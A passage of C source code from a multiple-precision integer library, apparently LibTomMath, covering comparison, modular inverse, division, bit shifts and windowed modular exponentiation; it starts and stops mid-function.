MP_LT; } else { return MP_GT; } } /* compare digits */ if (a->sign == MP_NEG) { /* if negative compare opposite direction */ return mp_cmp_mag(b, a); } else { return mp_cmp_mag(a, b); } } /* compare a digit */ static int mp_cmp_d(mp_int * a, mp_digit b) { /* compare based on sign */ if (a->sign == MP_NEG) { return MP_LT; } /* compare based on magnitude */ if (a->used > 1) { return MP_GT; } /* compare the only digit of a to b */ if (a->dp[0] > b) { return MP_GT; } else if (a->dp[0] < b) { return MP_LT; } else { return MP_EQ; } } #ifndef LTM_NO_NEG_EXP /* hac 14.61, pp608 */ static int mp_invmod (mp_int * a, mp_int * b, mp_int * c) { /* b cannot be negative */ if (b->sign == MP_NEG || mp_iszero(b) == 1) { return MP_VAL; } #ifdef BN_FAST_MP_INVMOD_C /* if the modulus is odd we can use a faster routine instead */ if (mp_isodd (b) == 1) { return fast_mp_invmod (a, b, c); } #endif #ifdef BN_MP_INVMOD_SLOW_C return mp_invmod_slow(a, b, c); #endif #ifndef BN_FAST_MP_INVMOD_C #ifndef BN_MP_INVMOD_SLOW_C #error mp_invmod would always fail #endif #endif return MP_VAL; } #endif /* LTM_NO_NEG_EXP */ /* get the size for an unsigned equivalent */ static int mp_unsigned_bin_size (mp_int * a) { int size = mp_count_bits (a); return (size / 8 + ((size & 7) != 0 ? 1 : 0)); } #ifndef LTM_NO_NEG_EXP /* hac 14.61, pp608 */ static int mp_invmod_slow (mp_int * a, mp_int * b, mp_int * c) { mp_int x, y, u, v, A, B, C, D; int res; /* b cannot be negative */ if (b->sign == MP_NEG || mp_iszero(b) == 1) { return MP_VAL; } /* init temps */ if ((res = mp_init_multi(&x, &y, &u, &v, &A, &B, &C, &D, NULL)) != MP_OKAY) { return res; } /* x = a, y = b */ if ((res = mp_mod(a, b, &x)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_copy (b, &y)) != MP_OKAY) { goto LBL_ERR; } /* 2. [modified] if x,y are both even then return an error! */ if (mp_iseven (&x) == 1 && mp_iseven (&y) == 1) { res = MP_VAL; goto LBL_ERR; } /* 3. u=x, v=y, A=1, B=0, C=0,D=1 */ if ((res = mp_copy (&x, &u)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_copy (&y, &v)) != MP_OKAY) { goto LBL_ERR; } mp_set (&A, 1); mp_set (&D, 1); top: /* 4. while u is even do */ while (mp_iseven (&u) == 1) { /* 4.1 u = u/2 */ if ((res = mp_div_2 (&u, &u)) != MP_OKAY) { goto LBL_ERR; } /* 4.2 if A or B is odd then */ if (mp_isodd (&A) == 1 || mp_isodd (&B) == 1) { /* A = (A+y)/2, B = (B-x)/2 */ if ((res = mp_add (&A, &y, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&B, &x, &B)) != MP_OKAY) { goto LBL_ERR; } } /* A = A/2, B = B/2 */ if ((res = mp_div_2 (&A, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_div_2 (&B, &B)) != MP_OKAY) { goto LBL_ERR; } } /* 5. while v is even do */ while (mp_iseven (&v) == 1) { /* 5.1 v = v/2 */ if ((res = mp_div_2 (&v, &v)) != MP_OKAY) { goto LBL_ERR; } /* 5.2 if C or D is odd then */ if (mp_isodd (&C) == 1 || mp_isodd (&D) == 1) { /* C = (C+y)/2, D = (D-x)/2 */ if ((res = mp_add (&C, &y, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&D, &x, &D)) != MP_OKAY) { goto LBL_ERR; } } /* C = C/2, D = D/2 */ if ((res = mp_div_2 (&C, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_div_2 (&D, &D)) != MP_OKAY) { goto LBL_ERR; } } /* 6. if u >= v then */ if (mp_cmp (&u, &v) != MP_LT) { /* u = u - v, A = A - C, B = B - D */ if ((res = mp_sub (&u, &v, &u)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&A, &C, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&B, &D, &B)) != MP_OKAY) { goto LBL_ERR; } } else { /* v - v - u, C = C - A, D = D - B */ if ((res = mp_sub (&v, &u, &v)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&C, &A, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&D, &B, &D)) != MP_OKAY) { goto LBL_ERR; } } /* if not zero goto step 4 */ if (mp_iszero (&u) == 0) goto top; /* now a = C, b = D, gcd == g*v */ /* if v != 1 then there is no inverse */ if (mp_cmp_d (&v, 1) != MP_EQ) { res = MP_VAL; goto LBL_ERR; } /* if its too low */ while (mp_cmp_d(&C, 0) == MP_LT) { if ((res = mp_add(&C, b, &C)) != MP_OKAY) { goto LBL_ERR; } } /* too big */ while (mp_cmp_mag(&C, b) != MP_LT) { if ((res = mp_sub(&C, b, &C)) != MP_OKAY) { goto LBL_ERR; } } /* C is now the inverse */ mp_exch (&C, c); res = MP_OKAY; LBL_ERR:mp_clear_multi (&x, &y, &u, &v, &A, &B, &C, &D, NULL); return res; } #endif /* LTM_NO_NEG_EXP */ /* compare maginitude of two ints (unsigned) */ static int mp_cmp_mag (mp_int * a, mp_int * b) { int n; mp_digit *tmpa, *tmpb; /* compare based on # of non-zero digits */ if (a->used > b->used) { return MP_GT; } if (a->used < b->used) { return MP_LT; } /* alias for a */ tmpa = a->dp + (a->used - 1); /* alias for b */ tmpb = b->dp + (a->used - 1); /* compare based on digits */ for (n = 0; n < a->used; ++n, --tmpa, --tmpb) { if (*tmpa > *tmpb) { return MP_GT; } if (*tmpa < *tmpb) { return MP_LT; } } return MP_EQ; } /* reads a unsigned char array, assumes the msb is stored first [big endian] */ static int mp_read_unsigned_bin (mp_int * a, const unsigned char *b, int c) { int res; /* make sure there are at least two digits */ if (a->alloc < 2) { if ((res = mp_grow(a, 2)) != MP_OKAY) { return res; } } /* zero the int */ mp_zero (a); /* read the bytes in */ while (c-- > 0) { if ((res = mp_mul_2d (a, 8, a)) != MP_OKAY) { return res; } #ifndef MP_8BIT a->dp[0] |= *b++; a->used += 1; #else a->dp[0] = (*b & MP_MASK); a->dp[1] |= ((*b++ >> 7U) & 1); a->used += 2; #endif } mp_clamp (a); return MP_OKAY; } /* store in unsigned [big endian] format */ static int mp_to_unsigned_bin (mp_int * a, unsigned char *b) { int x, res; mp_int t; if ((res = mp_init_copy (&t, a)) != MP_OKAY) { return res; } x = 0; while (mp_iszero (&t) == 0) { #ifndef MP_8BIT b[x++] = (unsigned char) (t.dp[0] & 255); #else b[x++] = (unsigned char) (t.dp[0] | ((t.dp[1] & 0x01) << 7)); #endif if ((res = mp_div_2d (&t, 8, &t, NULL)) != MP_OKAY) { mp_clear (&t); return res; } } bn_reverse (b, x); mp_clear (&t); return MP_OKAY; } /* shift right by a certain bit count (store quotient in c, optional remainder in d) */ static int mp_div_2d (mp_int * a, int b, mp_int * c, mp_int * d) { mp_digit D, r, rr; int x, res; mp_int t; /* if the shift count is <= 0 then we do no work */ if (b <= 0) { res = mp_copy (a, c); if (d != NULL) { mp_zero (d); } return res; } if ((res = mp_init (&t)) != MP_OKAY) { return res; } /* get the remainder */ if (d != NULL) { if ((res = mp_mod_2d (a, b, &t)) != MP_OKAY) { mp_clear (&t); return res; } } /* copy */ if ((res = mp_copy (a, c)) != MP_OKAY) { mp_clear (&t); return res; } /* shift by as many digits in the bit count */ if (b >= (int)DIGIT_BIT) { mp_rshd (c, b / DIGIT_BIT); } /* shift any bit count < DIGIT_BIT */ D = (mp_digit) (b % DIGIT_BIT); if (D != 0) { register mp_digit *tmpc, mask, shift; /* mask */ mask = (((mp_digit)1) << D) - 1; /* shift for lsb */ shift = DIGIT_BIT - D; /* alias */ tmpc = c->dp + (c->used - 1); /* carry */ r = 0; for (x = c->used - 1; x >= 0; x--) { /* get the lower bits of this word in a temp */ rr = *tmpc & mask; /* shift the current word and mix in the carry bits from the previous word */ *tmpc = (*tmpc >> D) | (r << shift); --tmpc; /* set the carry to the carry bits of the current word found above */ r = rr; } } mp_clamp (c); if (d != NULL) { mp_exch (&t, d); } mp_clear (&t); return MP_OKAY; } static int mp_init_copy (mp_int * a, mp_int * b) { int res; if ((res = mp_init (a)) != MP_OKAY) { return res; } return mp_copy (b, a); } /* set to zero */ static void mp_zero (mp_int * a) { int n; mp_digit *tmp; a->sign = MP_ZPOS; a->used = 0; tmp = a->dp; for (n = 0; n < a->alloc; n++) { *tmp++ = 0; } } /* copy, b = a */ static int mp_copy (mp_int * a, mp_int * b) { int res, n; /* if dst == src do nothing */ if (a == b) { return MP_OKAY; } /* grow dest */ if (b->alloc < a->used) { if ((res = mp_grow (b, a->used)) != MP_OKAY) { return res; } } /* zero b and copy the parameters over */ { register mp_digit *tmpa, *tmpb; /* pointer aliases */ /* source */ tmpa = a->dp; /* destination */ tmpb = b->dp; /* copy all the digits */ for (n = 0; n < a->used; n++) { *tmpb++ = *tmpa++; } /* clear high digits */ for (; n < b->used; n++) { *tmpb++ = 0; } } /* copy used count and sign */ b->used = a->used; b->sign = a->sign; return MP_OKAY; } /* shift right a certain amount of digits */ static void mp_rshd (mp_int * a, int b) { int x; /* if b <= 0 then ignore it */ if (b <= 0) { return; } /* if b > used then simply zero it and return */ if (a->used <= b) { mp_zero (a); return; } { register mp_digit *bottom, *top; /* shift the digits down */ /* bottom */ bottom = a->dp; /* top [offset into digits] */ top = a->dp + b; /* this is implemented as a sliding window where * the window is b-digits long and digits from * the top of the window are copied to the bottom * * e.g. b-2 | b-1 | b0 | b1 | b2 | ... | bb | ----> /\ | ----> \-------------------/ ----> */ for (x = 0; x < (a->used - b); x++) { *bottom++ = *top++; } /* zero the top digits */ for (; x < a->used; x++) { *bottom++ = 0; } } /* remove excess digits */ a->used -= b; } /* swap the elements of two integers, for cases where you can't simply swap the * mp_int pointers around */ static void mp_exch (mp_int * a, mp_int * b) { mp_int t; t = *a; *a = *b; *b = t; } /* trim unused digits * * This is used to ensure that leading zero digits are * trimed and the leading "used" digit will be non-zero * Typically very fast. Also fixes the sign if there * are no more leading digits */ static void mp_clamp (mp_int * a) { /* decrease used while the most significant digit is * zero. */ while (a->used > 0 && a->dp[a->used - 1] == 0) { --(a->used); } /* reset the sign flag if used == 0 */ if (a->used == 0) { a->sign = MP_ZPOS; } } /* grow as required */ static int mp_grow (mp_int * a, int size) { int i; mp_digit *tmp; /* if the alloc size is smaller alloc more ram */ if (a->alloc < size) { /* ensure there are always at least MP_PREC digits extra on top */ size += (MP_PREC * 2) - (size % MP_PREC); /* reallocate the array a->dp * * We store the return in a temporary variable * in case the operation failed we don't want * to overwrite the dp member of a. */ tmp = OPT_CAST(mp_digit) XREALLOC (a->dp, sizeof (mp_digit) * size); if (tmp == NULL) { /* reallocation failed but "a" is still valid [can be freed] */ return MP_MEM; } /* reallocation succeeded so set a->dp */ a->dp = tmp; /* zero excess digits */ i = a->alloc; a->alloc = size; for (; i < a->alloc; i++) { a->dp[i] = 0; } } return MP_OKAY; } #ifdef BN_MP_ABS_C /* b = |a| * * Simple function copies the input and fixes the sign to positive */ static int mp_abs (mp_int * a, mp_int * b) { int res; /* copy a to b */ if (a != b) { if ((res = mp_copy (a, b)) != MP_OKAY) { return res; } } /* force the sign of b to positive */ b->sign = MP_ZPOS; return MP_OKAY; } #endif /* set to a digit */ static void mp_set (mp_int * a, mp_digit b) { mp_zero (a); a->dp[0] = b & MP_MASK; a->used = (a->dp[0] != 0) ? 1 : 0; } #ifndef LTM_NO_NEG_EXP /* b = a/2 */ static int mp_div_2(mp_int * a, mp_int * b) { int x, res, oldused; /* copy */ if (b->alloc < a->used) { if ((res = mp_grow (b, a->used)) != MP_OKAY) { return res; } } oldused = b->used; b->used = a->used; { register mp_digit r, rr, *tmpa, *tmpb; /* source alias */ tmpa = a->dp + b->used - 1; /* dest alias */ tmpb = b->dp + b->used - 1; /* carry */ r = 0; for (x = b->used - 1; x >= 0; x--) { /* get the carry for the next iteration */ rr = *tmpa & 1; /* shift the current digit, add in carry and store */ *tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1)); /* forward carry to next iteration */ r = rr; } /* zero excess digits */ tmpb = b->dp + b->used; for (x = b->used; x < oldused; x++) { *tmpb++ = 0; } } b->sign = a->sign; mp_clamp (b); return MP_OKAY; } #endif /* LTM_NO_NEG_EXP */ /* shift left by a certain bit count */ static int mp_mul_2d (mp_int * a, int b, mp_int * c) { mp_digit d; int res; /* copy */ if (a != c) { if ((res = mp_copy (a, c)) != MP_OKAY) { return res; } } if (c->alloc < (int)(c->used + b/DIGIT_BIT + 1)) { if ((res = mp_grow (c, c->used + b / DIGIT_BIT + 1)) != MP_OKAY) { return res; } } /* shift by as many digits in the bit count */ if (b >= (int)DIGIT_BIT) { if ((res = mp_lshd (c, b / DIGIT_BIT)) != MP_OKAY) { return res; } } /* shift any bit count < DIGIT_BIT */ d = (mp_digit) (b % DIGIT_BIT); if (d != 0) { register mp_digit *tmpc, shift, mask, r, rr; register int x; /* bitmask for carries */ mask = (((mp_digit)1) << d) - 1; /* shift for msbs */ shift = DIGIT_BIT - d; /* alias */ tmpc = c->dp; /* carry */ r = 0; for (x = 0; x < c->used; x++) { /* get the higher bits of the current word */ rr = (*tmpc >> shift) & mask; /* shift the current word and OR in the carry */ *tmpc = ((*tmpc << d) | r) & MP_MASK; ++tmpc; /* set the carry to the carry bits of the current word */ r = rr; } /* set final carry */ if (r != 0) { c->dp[(c->used)++] = r; } } mp_clamp (c); return MP_OKAY; } #ifdef BN_MP_INIT_MULTI_C static int mp_init_multi(mp_int *mp, ...) { mp_err res = MP_OKAY; /* Assume ok until proven otherwise */ int n = 0; /* Number of ok inits */ mp_int* cur_arg = mp; va_list args; va_start(args, mp); /* init args to next argument from caller */ while (cur_arg != NULL) { if (mp_init(cur_arg) != MP_OKAY) { /* Oops - error! Back-track and mp_clear what we already succeeded in init-ing, then return error. */ va_list clean_args; /* end the current list */ va_end(args); /* now start cleaning up */ cur_arg = mp; va_start(clean_args, mp); while (n--) { mp_clear(cur_arg); cur_arg = va_arg(clean_args, mp_int*); } va_end(clean_args); res = MP_MEM; break; } n++; cur_arg = va_arg(args, mp_int*); } va_end(args); return res; /* Assumed ok, if error flagged above. */ } #endif #ifdef BN_MP_CLEAR_MULTI_C static void mp_clear_multi(mp_int *mp, ...) { mp_int* next_mp = mp; va_list args; va_start(args, mp); while (next_mp != NULL) { mp_clear(next_mp); next_mp = va_arg(args, mp_int*); } va_end(args); } #endif /* shift left a certain amount of digits */ static int mp_lshd (mp_int * a, int b) { int x, res; /* if its less than zero return */ if (b <= 0) { return MP_OKAY; } /* grow to fit the new digits */ if (a->alloc < a->used + b) { if ((res = mp_grow (a, a->used + b)) != MP_OKAY) { return res; } } { register mp_digit *top, *bottom; /* increment the used by the shift amount then copy upwards */ a->used += b; /* top */ top = a->dp + a->used - 1; /* base */ bottom = a->dp + a->used - 1 - b; /* much like mp_rshd this is implemented using a sliding window * except the window goes the otherway around. Copying from * the bottom to the top. see bn_mp_rshd.c for more info. */ for (x = a->used - 1; x >= b; x--) { *top-- = *bottom--; } /* zero the lower digits */ top = a->dp; for (x = 0; x < b; x++) { *top++ = 0; } } return MP_OKAY; } /* returns the number of bits in an int */ static int mp_count_bits (mp_int * a) { int r; mp_digit q; /* shortcut */ if (a->used == 0) { return 0; } /* get number of digits and add that */ r = (a->used - 1) * DIGIT_BIT; /* take the last digit and count the bits in it */ q = a->dp[a->used - 1]; while (q > ((mp_digit) 0)) { ++r; q >>= ((mp_digit) 1); } return r; } /* calc a value mod 2**b */ static int mp_mod_2d (mp_int * a, int b, mp_int * c) { int x, res; /* if b is <= 0 then zero the int */ if (b <= 0) { mp_zero (c); return MP_OKAY; } /* if the modulus is larger than the value than return */ if (b >= (int) (a->used * DIGIT_BIT)) { res = mp_copy (a, c); return res; } /* copy */ if ((res = mp_copy (a, c)) != MP_OKAY) { return res; } /* zero digits above the last digit of the modulus */ for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) { c->dp[x] = 0; } /* clear the digit that is not completely outside/inside the modulus */ c->dp[b / DIGIT_BIT] &= (mp_digit) ((((mp_digit) 1) << (((mp_digit) b) % DIGIT_BIT)) - ((mp_digit) 1)); mp_clamp (c); return MP_OKAY; } #ifdef BN_MP_DIV_SMALL /* slower bit-bang division... also smaller */ static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d) { mp_int ta, tb, tq, q; int res, n, n2; /* is divisor zero ? */ if (mp_iszero (b) == 1) { return MP_VAL; } /* if a < b then q=0, r = a */ if (mp_cmp_mag (a, b) == MP_LT) { if (d != NULL) { res = mp_copy (a, d); } else { res = MP_OKAY; } if (c != NULL) { mp_zero (c); } return res; } /* init our temps */ if ((res = mp_init_multi(&ta, &tb, &tq, &q, NULL) != MP_OKAY)) { return res; } mp_set(&tq, 1); n = mp_count_bits(a) - mp_count_bits(b); if (((res = mp_abs(a, &ta)) != MP_OKAY) || ((res = mp_abs(b, &tb)) != MP_OKAY) || ((res = mp_mul_2d(&tb, n, &tb)) != MP_OKAY) || ((res = mp_mul_2d(&tq, n, &tq)) != MP_OKAY)) { goto LBL_ERR; } while (n-- >= 0) { if (mp_cmp(&tb, &ta) != MP_GT) { if (((res = mp_sub(&ta, &tb, &ta)) != MP_OKAY) || ((res = mp_add(&q, &tq, &q)) != MP_OKAY)) { goto LBL_ERR; } } if (((res = mp_div_2d(&tb, 1, &tb, NULL)) != MP_OKAY) || ((res = mp_div_2d(&tq, 1, &tq, NULL)) != MP_OKAY)) { goto LBL_ERR; } } /* now q == quotient and ta == remainder */ n = a->sign; n2 = (a->sign == b->sign ? MP_ZPOS : MP_NEG); if (c != NULL) { mp_exch(c, &q); c->sign = (mp_iszero(c) == MP_YES) ? MP_ZPOS : n2; } if (d != NULL) { mp_exch(d, &ta); d->sign = (mp_iszero(d) == MP_YES) ? MP_ZPOS : n; } LBL_ERR: mp_clear_multi(&ta, &tb, &tq, &q, NULL); return res; } #else /* integer signed division. * c*b + d == a [e.g. a/b, c=quotient, d=remainder] * HAC pp.598 Algorithm 14.20 * * Note that the description in HAC is horribly * incomplete. For example, it doesn't consider * the case where digits are removed from 'x' in * the inner loop. It also doesn't consider the * case that y has fewer than three digits, etc.. * * The overall algorithm is as described as * 14.20 from HAC but fixed to treat these cases. */ static int mp_div (mp_int * a, mp_int * b, mp_int * c, mp_int * d) { mp_int q, x, y, t1, t2; int res, n, t, i, norm, neg; /* is divisor zero ? */ if (mp_iszero (b) == 1) { return MP_VAL; } /* if a < b then q=0, r = a */ if (mp_cmp_mag (a, b) == MP_LT) { if (d != NULL) { res = mp_copy (a, d); } else { res = MP_OKAY; } if (c != NULL) { mp_zero (c); } return res; } if ((res = mp_init_size (&q, a->used + 2)) != MP_OKAY) { return res; } q.used = a->used + 2; if ((res = mp_init (&t1)) != MP_OKAY) { goto LBL_Q; } if ((res = mp_init (&t2)) != MP_OKAY) { goto LBL_T1; } if ((res = mp_init_copy (&x, a)) != MP_OKAY) { goto LBL_T2; } if ((res = mp_init_copy (&y, b)) != MP_OKAY) { goto LBL_X; } /* fix the sign */ neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; x.sign = y.sign = MP_ZPOS; /* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */ norm = mp_count_bits(&y) % DIGIT_BIT; if (norm < (int)(DIGIT_BIT-1)) { norm = (DIGIT_BIT-1) - norm; if ((res = mp_mul_2d (&x, norm, &x)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_mul_2d (&y, norm, &y)) != MP_OKAY) { goto LBL_Y; } } else { norm = 0; } /* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */ n = x.used - 1; t = y.used - 1; /* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */ if ((res = mp_lshd (&y, n - t)) != MP_OKAY) { /* y = y*b**{n-t} */ goto LBL_Y; } while (mp_cmp (&x, &y) != MP_LT) { ++(q.dp[n - t]); if ((res = mp_sub (&x, &y, &x)) != MP_OKAY) { goto LBL_Y; } } /* reset y by shifting it back down */ mp_rshd (&y, n - t); /* step 3. for i from n down to (t + 1) */ for (i = n; i >= (t + 1); i--) { if (i > x.used) { continue; } /* step 3.1 if xi == yt then set q{i-t-1} to b-1, * otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */ if (x.dp[i] == y.dp[t]) { q.dp[i - t - 1] = ((((mp_digit)1) << DIGIT_BIT) - 1); } else { mp_word tmp; tmp = ((mp_word) x.dp[i]) << ((mp_word) DIGIT_BIT); tmp |= ((mp_word) x.dp[i - 1]); tmp /= ((mp_word) y.dp[t]); if (tmp > (mp_word) MP_MASK) tmp = MP_MASK; q.dp[i - t - 1] = (mp_digit) (tmp & (mp_word) (MP_MASK)); } /* while (q{i-t-1} * (yt * b + y{t-1})) > xi * b**2 + xi-1 * b + xi-2 do q{i-t-1} -= 1; */ q.dp[i - t - 1] = (q.dp[i - t - 1] + 1) & MP_MASK; do { q.dp[i - t - 1] = (q.dp[i - t - 1] - 1) & MP_MASK; /* find left hand */ mp_zero (&t1); t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1]; t1.dp[1] = y.dp[t]; t1.used = 2; if ((res = mp_mul_d (&t1, q.dp[i - t - 1], &t1)) != MP_OKAY) { goto LBL_Y; } /* find right hand */ t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2]; t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1]; t2.dp[2] = x.dp[i]; t2.used = 3; } while (mp_cmp_mag(&t1, &t2) == MP_GT); /* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */ if ((res = mp_mul_d (&y, q.dp[i - t - 1], &t1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_sub (&x, &t1, &x)) != MP_OKAY) { goto LBL_Y; } /* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */ if (x.sign == MP_NEG) { if ((res = mp_copy (&y, &t1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_add (&x, &t1, &x)) != MP_OKAY) { goto LBL_Y; } q.dp[i - t - 1] = (q.dp[i - t - 1] - 1UL) & MP_MASK; } } /* now q is the quotient and x is the remainder * [which we have to normalize] */ /* get sign before writing to c */ x.sign = x.used == 0 ? MP_ZPOS : a->sign; if (c != NULL) { mp_clamp (&q); mp_exch (&q, c); c->sign = neg; } if (d != NULL) { mp_div_2d (&x, norm, &x, NULL); mp_exch (&x, d); } res = MP_OKAY; LBL_Y:mp_clear (&y); LBL_X:mp_clear (&x); LBL_T2:mp_clear (&t2); LBL_T1:mp_clear (&t1); LBL_Q:mp_clear (&q); return res; } #endif #ifdef MP_LOW_MEM #define TAB_SIZE 32 #else #define TAB_SIZE 256 #endif static int s_mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) { mp_int M[TAB_SIZE], res, mu; mp_digit buf; int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; int (*redux)(mp_int*,mp_int*,mp_int*); /* find window size */ x = mp_count_bits (X); if (x <= 7) { winsize = 2; } else if (x <= 36) { winsize = 3; } else if (x <= 140) { winsize = 4; } else if (x <= 450) { winsize = 5; } else if (x <= 1303) { winsize = 6; } else if (x <= 3529) { winsize = 7; } else { winsize = 8; } #ifdef MP_LOW_MEM if (winsize > 5) { winsize = 5; } #endif /* init M array */ /* init first cell */ if ((err = mp_init(&M[1])) != MP_OKAY) { return err; } /* now init the second half of the array */ for (x = 1<<(winsize-1); x < (1 << winsize); x++) { if ((err = mp_init(&M[x])) != MP_OKAY) { for (y = 1<<(winsize-1); y < x; y++) { mp_clear (&M[y]); } mp_clear(&M[1]); return err; } } /* create mu, used for Barrett reduction */ if ((err = mp_init (&mu)) != MP_OKAY) { goto LBL_M; } if (redmode == 0) { if ((err = mp_reduce_setup (&mu, P)) != MP_OKAY) { goto LBL_MU; } redux = mp_reduce; } else { if ((err = mp_reduce_2k_setup_l (P, &mu)) != MP_OKAY) { goto LBL_MU; } redux = mp_reduce_2k_l; } /* create M table * * The M table contains powers of the base, * e.g. M[x] = G**x mod P * * The first half of the table is not * computed though accept for M[0] and M[1] */ if ((err = mp_mod (G, P, &M[1])) != MP_OKAY) { goto LBL_MU; } /* compute the value at M[1<<(winsize-1)] by squaring * M[1] (winsize-1) times */ if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_MU; } for (x = 0; x < (winsize - 1); x++) { /* square it */ if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_MU; } /* reduce modulo P */ if ((err = redux (&M[1 << (winsize - 1)], P, &mu)) != MP_OKAY) { goto LBL_MU; } } /* create upper table, that is M[x] = M[x-1] * M[1] (mod P) * for x = (2**(winsize - 1) + 1) to (2**winsize - 1) */ for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { goto LBL_MU; } if ((err = redux (&M[x], P, &mu)) != MP_OKAY) { goto LBL_MU; } } /* setup result */ if ((err = mp_init (&res)) != MP_OKAY) { goto LBL_MU; } mp_set (&res, 1); /* set initial mode and bit cnt */ mode = 0; bitcnt = 1; buf = 0; digidx = X->used - 1; bitcpy = 0; bitbuf = 0; for (;;) { /* grab next digit as required */ if (--bitcnt == 0) { /* if digidx == -1 we are out of digits */ if (digidx == -1) { break; } /* read next digit and reset the bitcnt */ buf = X->dp[digidx--]; bitcnt = (int) DIGIT_BIT; } /* grab the next msb from the exponent */ y = (buf >> (mp_digit)(DIGIT_BIT - 1)) & 1; buf <<= (mp_digit)1; /* if the bit is zero and mode == 0 then we ignore it * These represent the leading zero bits before the first 1 bit * in the exponent. Technically this opt is not required but it * does lower the # of trivial squaring/reductions used */ if (mode == 0 && y == 0) { continue; } /* if the bit is zero and mode == 1 then we square */ if (mode == 1 && y == 0) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } continue; } /* else we add it to the window */ bitbuf |= (y << (winsize - ++bitcpy)); mode = 2; if (bitcpy == winsize) { /* ok window is filled so square as required and multiply */ /* square first */ for (x = 0; x < winsize; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } } /* then multiply */ if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } /* empty window and reset */ bitcpy = 0; bitbuf = 0; mode = 1; } } /* if bits remain then square/multiply */ if (mode == 2 && bitcpy > 0) { /* square then multiply if the bit is set */ for (x = 0; x < bitcpy; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } bitbuf <<= 1; if ((bitbuf & (1 << winsize)) != 0) { /* then multiply */ if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } } } } mp_exch (&res, Y); err = MP_OKAY; LBL_RES:mp_clear (&res); LBL_MU:mp_clear (&mu); LBL_M: mp_clear(&M[1]); for (x = 1<<(winsize-1); x < (1 << winsize); x++) { mp_clear (&M[x]); } return err; } /* computes b = a*a */ static int mp_sqr (mp_int * a, mp_int * b) { int res; #ifdef BN_MP_TOOM_SQR_C /* use Toom-Cook? */ if (a->used >= TOOM_SQR_CUTOFF) { res = mp_toom_sqr(a, b); /* Karatsuba? */ } else #endif #ifdef BN_MP_KARATSUBA_SQR_C if (a->used >= KARATSUBA_SQR_CUTOFF) { res = mp_karatsuba_sqr (a, b); } else #endif { #ifdef BN_FAST_S_MP_SQR_C /* can we use the fast comba multiplier? */ if ((a->used * 2 + 1) < MP_WARRAY && a->used < (1 << (sizeof(mp_word) * CHAR_BIT - 2*DIGIT_BIT - 1))) { res = fast_s_mp_sqr (a, b); } else #endif #ifdef BN_S_MP_SQR_C res = s_mp_sqr (a, b); #else #error mp_sqr could fail res = MP_VAL; #endif } b->sign = MP_ZPOS; return res; } /* reduces a modulo n where n is of the form 2**p - d This differs from reduce_2k since "d" can be larger than a single digit. */ static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d) { mp_int q; int p, res; if ((res = mp_init(&q)) != MP_OKAY) { return res; } p = mp_count_bits(n); top: /* q = a/2**p, a = a mod 2**p */ if ((res = mp_div_2d(a, p, &q, a)) != MP_OKAY) { goto ERR; } /* q = q * d */ if ((res = mp_mul(&q, d, &q)) != MP_OKAY) { goto ERR; } /* a = a + q */ if ((res = s_mp_add(a, &q, a)) != MP_OKAY) { goto ERR; } if (mp_cmp_mag(a, n) != MP_LT) { s_mp_sub(a, n, a); goto top; } ERR: mp_clear(&q); return res; } /* determines the setup value */ static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d) { int res; mp_int tmp; if ((res = mp_init(&tmp)) != MP_OKAY) { return res; } if ((res = mp_2expt(&tmp, mp_count_bits(a))) != MP_OKAY) { goto ERR; } if ((res = s_mp_sub(&tmp, a, d)) != MP_OKAY) { goto ERR; } ERR: mp_clear(&tmp); return res; } /* computes a = 2**b * * Simple algorithm which zeroes the int, grows it then just sets one bit * as required. */ static int mp_2expt 